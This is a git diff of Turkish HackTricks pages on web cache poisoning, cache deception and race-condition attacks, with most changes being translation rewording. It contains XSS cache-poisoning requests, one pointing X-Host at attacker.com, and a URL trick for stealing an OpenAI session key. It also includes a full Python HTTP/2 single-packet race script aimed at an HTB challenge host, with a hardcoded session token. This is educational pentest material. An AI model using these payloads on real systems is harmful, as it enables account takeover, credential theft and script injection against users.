Temel bir XSS yükü gönderebilir ve önbelleği zehirleyebilirsiniz, böylece sayfaya erişen herkes XSS'e maruz kalacaktır:
|
||||
```markup
|
||||
GET /en?region=uk HTTP/1.1
|
||||
Host: innocent-website.com
|
||||
|
@ -82,15 +82,15 @@ X-Forwarded-Host: a."><script>alert(1)</script>"
|
|||
```
|
||||
### Web önbellek zehirlenmesini kullanarak çerez işleme açıklarını sömürme
|
||||
|
||||
Çerezler ayrıca bir sayfanın yanıtında da yansıtılabilir. Örneğin bir XSS oluşturmak için bunu istismar edebilirseniz, kötü niyetli önbellek yanıtını yükleyen birkaç istemcide XSS'i sömürebilirsiniz.
|
||||
Çerezler ayrıca bir sayfanın yanıtında yansıtılabilmektedir. Örneğin bir XSS oluşturmak için bunu istismar edebilirseniz, kötü niyetli önbellek yanıtını yükleyen birkaç istemci üzerinde XSS'i sömürebilirsiniz.
|
||||
```markup
|
||||
GET / HTTP/1.1
|
||||
Host: vulnerable.com
|
||||
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
|
||||
```
|
||||
### API anahtarını çalmak için yol gezinme ile önbellek zehirlenmesi <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
### API anahtarını çalmak için yol gezinimini kullanarak önbellek zehirlenmesi <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
|
||||
[**Bu yazıda açıklandığı gibi**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html), `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` gibi bir URL ile bir OpenAI API anahtarının çalınabilmesinin mümkün olduğu çünkü `/share/*` ile eşleşen her şey, URL normalleştirilmeden önbelleğe alınacaktır, bu da isteğin web sunucusuna ulaştığında yapıldı.
|
||||
[**Bu yazıda açıklandığı gibi**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html), URL'yi `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` gibi kullanarak bir OpenAI API anahtarının çalınabilmesinin mümkün olduğu çünkü `/share/*` ile eşleşen her şey, Cloudflare'ın URL'yi normalize etmeden önbelleğe alacağı belirtilmiştir, bu da isteğin web sunucusuna ulaştığında yapıldı.
|
||||
|
||||
### Web önbellek zehirlenmesi açıklarını sömürmek için birden fazla başlık kullanma <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
|
||||
|
@ -101,9 +101,9 @@ Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
|
|||
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
|
||||
X-Forwarded-Scheme: http
|
||||
```
|
||||
### Sınırlı `Vary` başlığı ile Sömürme
|
||||
### Sınırlı `Vary` başlığı ile istismar
|
||||
|
||||
Eğer yanıtta **`User-Agent`**'ı gösteren **`Vary`** başlığı kullanılıyorsa ancak **`X-Host`** başlığının bir JS kaynağını yüklemek için **alan adı** olarak kullanıldığını tespit ettiyseniz, kurbanın User-Agent'ını dışarıya çıkarmak ve bu kullanıcı ajanını kullanarak önbelleği zehirlemek için bir yol bulmanız gerekecektir:
|
||||
Eğer yanıtta **`User-Agent`**'ı işaret eden **`Vary`** başlığı kullanılıyorsa ve **`X-Host`** başlığının bir JS kaynağını yüklemek için **alan adı** olarak kullanıldığını bulduysanız, kurbanın User-Agent'ını dışa çıkarmak ve bu kullanıcı ajanını kullanarak önbelleği zehirlemek için bir yol bulmanız gerekecektir:
|
||||
```markup
|
||||
GET / HTTP/1.1
|
||||
Host: vulnerbale.net
|
||||
|
@ -112,7 +112,7 @@ X-Host: attacker.com
|
|||
```
|
||||
### HTTP İsteği Kaçırarak HTTP Önbellek Zehirlenmesini Sömürme
|
||||
|
||||
[HTTP İsteği Kaçırarak Web Önbellek Zehirlenmesi Yapmak](http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning) için nasıl saldırı yapılacağını öğrenin.
|
||||
[HTTP İsteği Kaçırarak Web Önbellek Zehirlenmesi Yapma](http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning) hakkında buradan bilgi edinin.
|
||||
|
||||
### Web Önbellek Zehirlenmesi için Otomatik Testler
|
||||
|
||||
|
@ -132,19 +132,19 @@ Bugün Erişim Alın:
|
|||
|
||||
### Apache Trafik Sunucusu ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
|
||||
|
||||
ATS URL içindeki parçayı silmeden iletmiş ve önbellek anahtarını sadece ana bilgisayar, yol ve sorgu kullanarak oluşturmuş (parçayı yok sayarak). Bu nedenle, `/#/../?r=javascript:alert(1)` isteği backend'e `/#/../?r=javascript:alert(1)` olarak gönderildi ve önbellek anahtarı içinde yük yoktu, sadece ana bilgisayar, yol ve sorgu vardı.
|
||||
ATS, URL içindeki parçayı kaldırmadan iletmiş ve önbellek anahtarını sadece ana bilgisayar, yol ve sorgu kullanarak oluşturmuş (parçayı yok sayarak). Bu nedenle, `/#/../?r=javascript:alert(1)` isteği, `/#/../?r=javascript:alert(1)` olarak arka uca gönderildi ve önbellek anahtarı içinde yük bulunmuyordu, sadece ana bilgisayar, yol ve sorgu bulunuyordu.
|
||||
|
||||
### GitHub CP-DoS
|
||||
|
||||
İçerik türü başlığında kötü bir değer göndermek 405 önbelleğe alınmış yanıtı tetikledi. Önbellek anahtarı çerez içerdiği için yalnızca kimlik doğrulama yapılmamış kullanıcılara saldırı yapmak mümkündü.
|
||||
İçerik türü başlığında kötü bir değer göndermek, önbelleğe alınmış bir 405 yanıtını tetikledi. Önbellek anahtarı çerez içerdiği için yalnızca kimlik doğrulama yapılmamış kullanıcılara saldırı yapmak mümkündü.
|
||||
|
||||
### GitLab + GCP CP-DoS
|
||||
|
||||
GitLab, statik içeriği depolamak için GCP kovalarını kullanır. **GCP Kovaları** **`x-http-method-override`** başlığını destekler. Bu nedenle, `x-http-method-override: HEAD` başlığını göndermek ve önbelleği boş bir yanıt gövdesi döndürmek mümkündü. Ayrıca `PURGE` yöntemini de destekleyebilir.
|
||||
GitLab, statik içeriği depolamak için GCP kovalarını kullanır. **GCP Kovaları**, **`x-http-method-override`** başlığını destekler. Bu nedenle, `x-http-method-override: HEAD` başlığını göndermek ve önbelleği boş bir yanıt gövdesi döndürmek mümkündü. Ayrıca `PURGE` yöntemini de destekleyebilir.
|
||||
|
||||
### Rack Ara Yazılımı (Ruby on Rails)
|
||||
|
||||
Ruby on Rails uygulamalarında genellikle Rack ara yazılımı kullanılır. Rack kodunun amacı, **`x-forwarded-scheme`** başlığının değerini almak ve isteğin şeması olarak ayarlamaktır. `x-forwarded-scheme: http` başlığı gönderildiğinde, aynı konuma yönlendirilen bir 301 yönlendirmesi oluşur, bu da potansiyel olarak bir hizmet Reddi (DoS) oluşturabilir. Ayrıca, uygulama `X-forwarded-host` başlığını kabul edebilir ve kullanıcıları belirtilen ana bilgisayara yönlendirebilir. Bu davranış, saldırganın sunucusundan JavaScript dosyalarını yüklemesine neden olabilir ve güvenlik riski oluşturabilir.
|
||||
Ruby on Rails uygulamalarında genellikle Rack ara yazılımı kullanılır. Rack kodunun amacı, **`x-forwarded-scheme`** başlığının değerini almak ve isteğin şeması olarak ayarlamaktır. `x-forwarded-scheme: http` başlığı gönderildiğinde, aynı konuma yönlendirilen bir 301 yönlendirmesi gerçekleşir, bu da potansiyel olarak o kaynağa bir Hizmet Reddi (DoS) neden olabilir. Ayrıca, uygulama `X-forwarded-host` başlığını kabul edebilir ve kullanıcıları belirtilen ana bilgisayara yönlendirebilir. Bu davranış, saldırganın sunucusundan JavaScript dosyalarını yüklemesine neden olabilir ve güvenlik riski oluşturabilir.
|
||||
|
||||
### 403 ve Depolama Kovaları
|
||||
|
||||
|
@ -152,7 +152,7 @@ Cloudflare önceden 403 yanıtlarını önbelleğe alıyordu. Yanlış Yetkilend
|
|||
|
||||
### Anahtarlı Parametreler Enjekte Etme
|
||||
|
||||
Önbellekler genellikle özel GET parametrelerini önbellek anahtarına dahil eder. Örneğin, Fastly'nin Varnish'i isteklerde `size` parametresini önbelleğe alırdı. Ancak, URL kodlanmış bir sürümü (örneğin, `siz%65`) yanlış bir değerle gönderildiğinde, önbellek anahtarı doğru `size` parametresini kullanarak oluşturulurdu. Ancak, backend URL kodlanmış parametreyi işlerdi. İkinci `size` parametresini URL kodlamak, önbellek tarafından atlanmasına ancak backend tarafından kullanılmasına neden olurdu. Bu parametreye 0 değeri atamak, önbelleğe alınabilir 400 Kötü İstek hatası oluştururdu.
|
||||
Önbellekler genellikle önbellek anahtarında belirli GET parametrelerini içerir. Örneğin, Fastly'nin Varnish'i isteklerde `size` parametresini önbelleğe alırdı. Ancak, URL kodlanmış bir sürümü (örneğin, `siz%65`) yanlış bir değerle birlikte gönderildiğinde, önbellek anahtarı doğru `size` parametresini kullanarak oluşturulurdu. Ancak, arka uç URL kodlanmış parametreyi işlerdi. İkinci `size` parametresini URL kodlamak, önbellek tarafından atlanmasına ancak arka uç tarafından kullanılmasına neden olurdu. Bu parametreye 0 değeri atamak, önbelleğe alınabilir bir 400 Hatalı İstek hatası sonucu verirdi.
|
||||
|
||||
### Kullanıcı Ajanı Kuralları
|
||||
|
||||
|
@ -160,7 +160,7 @@ Bazı geliştiriciler, sunucu yükünü yönetmek için FFUF veya Nuclei gibi y
|
|||
|
||||
### Yasadışı Başlık Alanları
|
||||
|
||||
[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) başlık adlarında kabul edilebilir karakterleri belirtir. Belirtilen **tchar** aralığının dışındaki karakterleri içeren başlıklar ideal olarak 400 Kötü İstek yanıtını tetiklemelidir. Uygulamada sunucular her zaman bu standarta uymazlar. Akamai gibi belirgin bir örnek, geçersiz karakterler içeren başlıkları iletir ve `cache-control` başlığı mevcut olmadığı sürece herhangi bir 400 hatasını önbelleğe alır. Geçersiz bir karakter içeren bir başlık göndermenin, örneğin `\`, önbelleğe alınabilir 400 Kötü İstek hatasına neden olabileceği bir açık model belirlendi.
|
||||
[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) başlık adlarında kabul edilebilir karakterleri belirtir. Belirtilen **tchar** aralığının dışındaki karakterleri içeren başlıklar ideal olarak bir 400 Hatalı İstek yanıtı tetiklemelidir. Uygulamada sunucular her zaman bu standartlara uymazlar. Akamai gibi belirgin bir örnek, geçersiz karakterler içeren başlıkları iletir ve `cache-control` başlığı mevcut olmadığı sürece herhangi bir 400 hatasını önbelleğe alır. Geçerli olmayan bir karakter içeren bir başlık göndermenin, örneğin `\`, önbelleğe alınabilir bir 400 Hatalı İstek hatası sonucu vereceği bir açıklanabilir model belirlendi.
|
||||
|
||||
### Yeni başlıklar bulma
|
||||
|
||||
|
@ -170,7 +170,7 @@ Bazı geliştiriciler, sunucu yükünü yönetmek için FFUF veya Nuclei gibi y
|
|||
|
||||
Önbellek Aldatmacasının amacı, istemcilerin **duyarlı bilgileriyle birlikte önbelleğe kaydedilecek kaynakları yüklemesini sağlamaktır**.
|
||||
|
||||
Öncelikle **.css**, **.js**, **.png** gibi **uzantıların** genellikle **önbelleğe kaydedilmesi** için **ayarlandığını** unutmayın. Bu nedenle, `www.example.com/profile.php/nonexistent.js`'e erişirseniz, önbellek muhtemelen yanıtı saklayacaktır çünkü **.js** uzantısını görür. Ancak, **uygulama** _www.example.com/profile.php_'de saklanan **duyarlı** kullanıcı içeriğiyle **yeniden oynuyorsa**, diğer kullanıcılardan bu içerikleri **çalabilirsiniz**.
|
||||
Öncelikle **.css**, **.js**, **.png** gibi **uzantıların** genellikle **önbelleğe kaydedilmesi** için **ayarlandığını** unutmayın. Bu nedenle, `www.example.com/profile.php/nonexistent.js`'ye erişirseniz, önbellek muhtemelen yanıtı saklayacaktır çünkü **.js** **uzantısını** görür. Ancak, **uygulama** _www.example.com/profile.php_'de saklanan **duyarlı** kullanıcı içeriğiyle **yeniden oynuyorsa**, diğer kullanıcılardan bu içerikleri **çalabilirsiniz**.
|
||||
|
||||
Test edilecek diğer şeyler:
|
||||
|
||||
|
@ -181,13 +181,17 @@ Test edilecek diğer şeyler:
|
|||
* _www.example.com/profile.php/%2e%2e/test.js_
|
||||
* _`.avif` gibi daha az bilinen uzantıları kullanın_
|
||||
|
||||
Bu konuda çok net bir örnek şu yazıda bulunabilir: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
|
||||
Örnekte, _http://www.example.com/home.php/non-existent.css_ gibi mevcut olmayan bir sayfa yüklerseniz, önceki kullanıcıların **duyarlı bilgileriyle** _http://www.example.com/home.php_ içeriği döndürülecek ve önbellek sunucusu sonucu kaydedecektir.\
|
||||
Ardından, **saldırgan** kendi tarayıcısında _http://www.example.com/home.php/non-existent.css_'e erişebilir ve önceki kullanıcıların **gizli bilgilerini** gözlemleyebilir.
|
||||
Bu konuda çok açık bir örnek, bu yazıda bulunabilir: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
|
||||
Örnekte, _http://www.example.com/home.php/non-existent.css_ gibi mevcut olmayan bir sayfa yüklerseniz, önceki erişen kullanıcıların **duyarlı bilgileriyle** _http://www.example.com/home.php_'nin içeriği geri dönecek ve önbellek sunucusu sonucu kaydedecektir.\
|
||||
Ardından, **saldırgan**, kendi tarayıcısında _http://www.example.com/home.php/non-existent.css_'e erişebilir ve önceki erişen kullanıcıların **gizli bilgilerini** gözlemleyebilir.
|
||||
|
||||
Önbellek **proxy**'sinin dosyaları **içerik türüne** göre değil, dosya uzantısına göre önbelleğe alacak şekilde **ayarlanmış** olması gerektiğini unutmayın (_.css_). Örneğin _http://www.example.com/home.php/non-existent.css_ önbelleğe alınacak bir `text/css` mime türü yerine `text/html` içerik türüne sahip olacaktır (ki bu bir _.css_ dosyası için beklenen budur).
|
||||
Önbellek **proxy**'sinin dosyaları **içerik türüne** göre değil, dosya uzantısına göre önbelleğe alacak şekilde **ayarlanmış** olması gerektiğini unutmayın (_.css_). Örneğin _http://www.example.com/home.php/non-existent.css_ önbellek anahtarında `text/css` mime türü yerine `text/html` içerik türüne sahip olacaktır (beklenen _.css_ dosyası için).
|
||||
|
||||
[HTTP İsteği Kaçırarak Web Önbellek Aldatmacaları Saldırıları Yapmayı](http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception) öğrenin.
|
||||
[HTTP İsteği Kaçırarak Web Önbellek Aldatmacaları Sömürme](http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception) hakkında buradan bilgi edinin.
|
||||
|
||||
## Otomatik Araçlar
|
||||
|
||||
* [**toxicache**](https://github.com/xhzeem/toxicache): Belirli URL'lerde web önbellek zehirlenmesi zafiyetlerini bulmak ve birden fazla enjeksiyon tekniğini test etmek için Golang tarayıcı.
|
||||
|
||||
## Referanslar
|
||||
|
||||
|
@ -211,7 +215,7 @@ Bugün Erişim Alın:
|
|||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na (https://github.com/sponsors/carlospolop) göz atın!
|
||||
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
|
||||
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
|
||||
|
|
|
@ -4,26 +4,26 @@
|
|||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\
|
||||
Bugün Erişim Edinin:
|
||||
Bugün Erişim Alın:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Sıfırdan Kahraman Olarak AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Sıfırdan kahramana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* [**Resmi PEASS & HackTricks ürünleri**](https://peass.creator-spring.com) edinin
|
||||
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya bizi Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
|
||||
* **Hacking püf noktalarınızı göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR'lar gönderin.
|
||||
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya bizi Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
|
||||
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar gönderin.
|
||||
|
||||
</details>
|
||||
|
||||
{% hint style="warning" %}
|
||||
Bu teknik hakkında derin bir anlayış elde etmek için orijinal raporu [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine) kontrol edin.
|
||||
Bu teknik hakkında derinlemesine anlayış elde etmek için orijinal rapora [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine) bakın.
|
||||
{% endhint %}
|
||||
|
||||
## Yarış Koşulu Saldırılarını Geliştirme
|
||||
|
@ -34,12 +34,12 @@ Yarış koşullarından faydalanmanın ana engeli, birden fazla isteğin aynı a
|
|||
|
||||
#### HTTP/2 Tek Paket Saldırısı vs. HTTP/1.1 Son-Byte Senkronizasyonu
|
||||
|
||||
* **HTTP/2**: Bir TCP bağlantısı üzerinden iki isteği göndermeyi destekler, ağ gecikmesi etkisini azaltır. Ancak, sunucu tarafındaki değişiklikler nedeniyle iki istek, tutarlı bir yarış koşulu sömürüsü için yeterli olmayabilir.
|
||||
* **HTTP/2**: İki isteği tek bir TCP bağlantısı üzerinden göndermeyi destekler, ağ gecikmesi etkisini azaltır. Ancak, sunucu tarafındaki değişiklikler nedeniyle iki istek, tutarlı bir yarış koşulu sömürüsü için yeterli olmayabilir.
|
||||
* **HTTP/1.1 'Son-Byte Senkronizasyonu'**: 20-30 isteğin çoğu kısmını önceden göndermeyi sağlar, küçük bir parçayı tutarak, ardından birlikte gönderilerek sunucuya aynı anda ulaşılmasını sağlar.
|
||||
|
||||
**Son-Byte Senkronizasyonu için Hazırlık** şunları içerir:
|
||||
|
||||
1. Akışı sonlandırmadan önce başlık ve gövde verilerini son bayt hariç gönderme.
|
||||
1. Akışı sonlandırmadan başlık ve gövde verilerini son bayt hariç gönderme.
|
||||
2. İlk gönderimden sonra 100 ms beklemek.
|
||||
3. Son çerçeveleri toplu olarak göndermek için TCP\_NODELAY'i devre dışı bırakma.
|
||||
4. Bağlantıyı ısıtmak için ping gönderme.
|
||||
|
@ -50,13 +50,13 @@ Tutulan çerçevelerin sonradan gönderilmesi, Wireshark üzerinden tek bir pake
|
|||
|
||||
Hedefin mimarisini anlamak önemlidir. Ön uç sunucuları istekleri farklı yönlendirebilir ve zamanlamayı etkileyebilir. Önleyici sunucu tarafı bağlantı ısınması, önemsiz istekler aracılığıyla istek zamanlamasını normalize edebilir.
|
||||
|
||||
#### Oturum Tabanlı Kilitleri Ele Alma
|
||||
#### Oturum Tabanlı Kilitlenmeyi Ele Alma
|
||||
|
||||
PHP'nin oturum işleyicisi gibi çerçeveler, istekleri oturum bazında seri hale getirebilir ve potansiyel olarak zafiyetleri gizleyebilir. Her istek için farklı oturum belirteçleri kullanmak, bu sorunu atlatmaya yardımcı olabilir.
|
||||
PHP'nin oturum işleyicisi gibi çerçeveler, istekleri oturum bazında seri hale getirebilir ve potansiyel olarak güvenlik açıklarını gizleyebilir. Her istek için farklı oturum belirteçleri kullanmak, bu sorunu atlatmayı sağlayabilir.
|
||||
|
||||
#### Hız veya Kaynak Sınırlarını Aşma
|
||||
|
||||
Bağlantı ısınması etkisizse, web sunucularının hız veya kaynak sınırlarını kasıtlı olarak tetikleyerek, sunucu tarafında yarış koşullarına uygun gecikmeyi sağlayan tek paket saldırısını kolaylaştırabilir.
|
||||
Bağlantı ısınması etkisizse, web sunucularının hız veya kaynak sınırlarını kasıtlı olarak tetikleyerek, sunucu tarafında yarış koşullarına uygun gecikmeyi sağlayan bir dizi sahte istekle tek paket saldırısını kolaylaştırabilir.
|
||||
|
||||
## Saldırı Örnekleri
|
||||
|
||||
|
@ -64,7 +64,7 @@ Bağlantı ısınması etkisizse, web sunucularının hız veya kaynak sınırla
|
|||
|
||||
<figure><img src="../.gitbook/assets/image (4) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Farklı değerler gönderecekseniz**, bu kodu panodan bir kelime listesi kullanan bir kodla değiştirebilirsiniz.
|
||||
**Farklı değerler gönderecekseniz**, bu kodu panodan kelime listesi kullanan bir kodla değiştirebilirsiniz.
|
||||
```python
|
||||
passwords = wordlists.clipboard
|
||||
for password in passwords:
|
||||
|
@ -105,21 +105,150 @@ engine.queue(confirmationReq, gate=currentAttempt)
|
|||
# send all the queued requests for this attempt
|
||||
engine.openGate(currentAttempt)
|
||||
```
|
||||
* Ayrıca, Burp Suite içinde **Repeater** üzerinden yeni '**Paralel olarak grup gönder**' seçeneği ile mevcuttur.
|
||||
* Ayrıca, Burp Suite'deki yeni '**Paralel olarak grup gönder**' seçeneği aracılığıyla **Repeater** üzerinde de mevcuttur.
|
||||
* **Limit aşımı** için grup içine **aynı isteği 50 kez ekleyebilirsiniz**.
|
||||
* **Bağlantı ısınması** için, web sunucusunun statik olmayan bir kısmına bazı **istekler** ekleyebilirsiniz.
|
||||
* Bir isteği işleme ve diğerine geçme arasındaki süreyi geciktirmek için, 2 alt durum adımında **her iki istek arasına ek istekler ekleyebilirsiniz**.
|
||||
* **Çoklu uç noktalı** bir RC için, **gizli duruma giden isteği** göndermeye başlayabilir ve ardından **gizli durumu sömüren 50 isteği** hemen gönderebilirsiniz.
|
||||
* **Bağlantı ısınması** için, web sunucusunun statik olmayan bir kısmına bazı **istekler** ekleyebilirsiniz **grubun başına**.
|
||||
* Bir isteği işleme ve diğerine geçme arasındaki süreyi geciktirmek için, 2 alt durum adımında **her iki isteğin arasına ek istekler ekleyebilirsiniz**.
|
||||
* **Çoklu uçlu** bir RC için, **gizli duruma giden isteği** göndermeye başlayabilir ve ardından hemen ardından **gizli durumu sömüren 50 isteği** gönderebilirsiniz.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* **Otomatik python betiği**: Bu betiğin amacı, bir kullanıcının e-postasını değiştirirken sürekli olarak doğrulamasını yapmaktır, yeni e-postanın doğrulama belirteci eski e-postaya gelene kadar (çünkü kodda, e-postayı değiştirmenin mümkün olduğu ancak e-postayı gösteren değişkenin zaten ilk e-postayla doldurulduğu bir RC görülmekteydi).\
|
||||
Alınan e-postalarda "objetivo" kelimesi bulunduğunda, değiştirilen e-postanın doğrulama belirtecini aldığımızı biliriz ve saldırıyı sonlandırırız.
|
||||
```python
|
||||
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
|
||||
# Script from victor to solve a HTB challenge
|
||||
from h2spacex import H2OnTlsConnection
|
||||
from time import sleep
|
||||
from h2spacex import h2_frames
|
||||
import requests
|
||||
|
||||
cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg"
|
||||
|
||||
# change these headers
|
||||
|
||||
headersObjetivo= """accept: */*
|
||||
content-type: application/x-www-form-urlencoded
|
||||
Cookie: """+cookie+"""
|
||||
Content-Length: 112
|
||||
"""
|
||||
|
||||
bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827'
|
||||
|
||||
headersVerification= """Content-Length: 1
|
||||
Cookie: """+cookie+"""
|
||||
"""
|
||||
CSRF="42a08872-610a-4965-9553-22d7b3aa1827"
|
||||
|
||||
host = "94.237.56.46"
|
||||
puerto =39697
|
||||
|
||||
|
||||
url = "https://"+host+":"+str(puerto)+"/email/"
|
||||
|
||||
response = requests.get(url, verify=False)
|
||||
|
||||
|
||||
while "objetivo" not in response.text:
|
||||
|
||||
urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"
|
||||
|
||||
responseDeleteMails = requests.get(urlDeleteMails, verify=False)
|
||||
#print(response.text)
|
||||
# change this host name to new generated one
|
||||
|
||||
Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
|
||||
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
|
||||
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
|
||||
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)
|
||||
|
||||
print(responseReset.status_code)
|
||||
|
||||
h2_conn = H2OnTlsConnection(
|
||||
hostname=host,
|
||||
port_number=puerto
|
||||
)
|
||||
|
||||
h2_conn.setup_connection()
|
||||
|
||||
try_num = 100
|
||||
|
||||
stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)
|
||||
|
||||
all_headers_frames = [] # all headers frame + data frames which have not the last byte
|
||||
all_data_frames = [] # all data frames which contain the last byte
|
||||
|
||||
|
||||
for i in range(0, try_num):
|
||||
last_data_frame_with_last_byte=''
|
||||
if i == try_num/2:
|
||||
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames( # noqa: E501
|
||||
method='POST',
|
||||
headers_string=headersObjetivo,
|
||||
scheme='https',
|
||||
stream_id=stream_ids_list[i],
|
||||
authority=host,
|
||||
body=bodyObjetivo,
|
||||
path='/challenge/api/profile'
|
||||
)
|
||||
else:
|
||||
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
|
||||
method='GET',
|
||||
headers_string=headersVerification,
|
||||
scheme='https',
|
||||
stream_id=stream_ids_list[i],
|
||||
authority=host,
|
||||
body=".",
|
||||
path='/challenge/api/sendVerification'
|
||||
)
|
||||
|
||||
all_headers_frames.append(header_frames_without_last_byte)
|
||||
all_data_frames.append(last_data_frame_with_last_byte)
|
||||
|
||||
|
||||
# concatenate all headers bytes
|
||||
temp_headers_bytes = b''
|
||||
for h in all_headers_frames:
|
||||
temp_headers_bytes += bytes(h)
|
||||
|
||||
# concatenate all data frames which have last byte
|
||||
temp_data_bytes = b''
|
||||
for d in all_data_frames:
|
||||
temp_data_bytes += bytes(d)
|
||||
|
||||
h2_conn.send_bytes(temp_headers_bytes)
|
||||
|
||||
|
||||
|
||||
|
||||
# wait some time
|
||||
sleep(0.1)
|
||||
|
||||
# send ping frame to warm up connection
|
||||
h2_conn.send_ping_frame()
|
||||
|
||||
# send remaining data frames
|
||||
h2_conn.send_bytes(temp_data_bytes)
|
||||
|
||||
resp = h2_conn.read_response_from_socket(_timeout=3)
|
||||
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
|
||||
frame_parser.add_frames(resp)
|
||||
frame_parser.show_response_of_sent_requests()
|
||||
|
||||
print('---')
|
||||
|
||||
sleep(3)
|
||||
h2_conn.close_connection()
|
||||
|
||||
response = requests.get(url, verify=False)
|
||||
```
|
||||
### Ham BF
|
||||
|
||||
Önceki araştırmadan önce, bir RC oluşturmak için paketleri mümkün olduğunca hızlı göndermeye çalışan bazı kullanılan yükler şunlardı.
|
